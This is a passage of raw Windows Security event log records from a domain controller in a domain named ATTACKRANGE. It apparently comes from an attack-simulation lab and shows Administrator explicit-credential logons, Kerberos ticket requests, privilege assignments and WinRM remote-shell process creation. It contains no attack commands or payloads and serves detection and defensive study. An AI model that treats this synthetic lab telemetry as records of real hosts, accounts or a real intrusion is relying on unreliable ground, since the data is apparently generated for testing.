explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251718 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251717 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251716 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1402D0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x98c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfa8 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251715 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x140366 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251714 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x140366 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64548 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251713 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x140366 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251712 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1402D0 - -Process Information: - New Process ID: 0xfa8 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251711 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1402D0 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251710 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1402D0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251709 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251708 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251707 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1402D2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251706 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251705 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1402D2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64547 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251704 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1402D2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251703 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x140263 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251702 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x140263 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64546 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251701 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x140263 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251700 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x140202 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251699 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x140202 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64545 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251698 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x140202 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251697 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x140171 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251696 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251695 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13EAAD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251694 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x138B8A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251693 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13CF50 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251692 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13A6E3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251691 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13C1BC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251690 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x140171 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251689 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x140171 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. 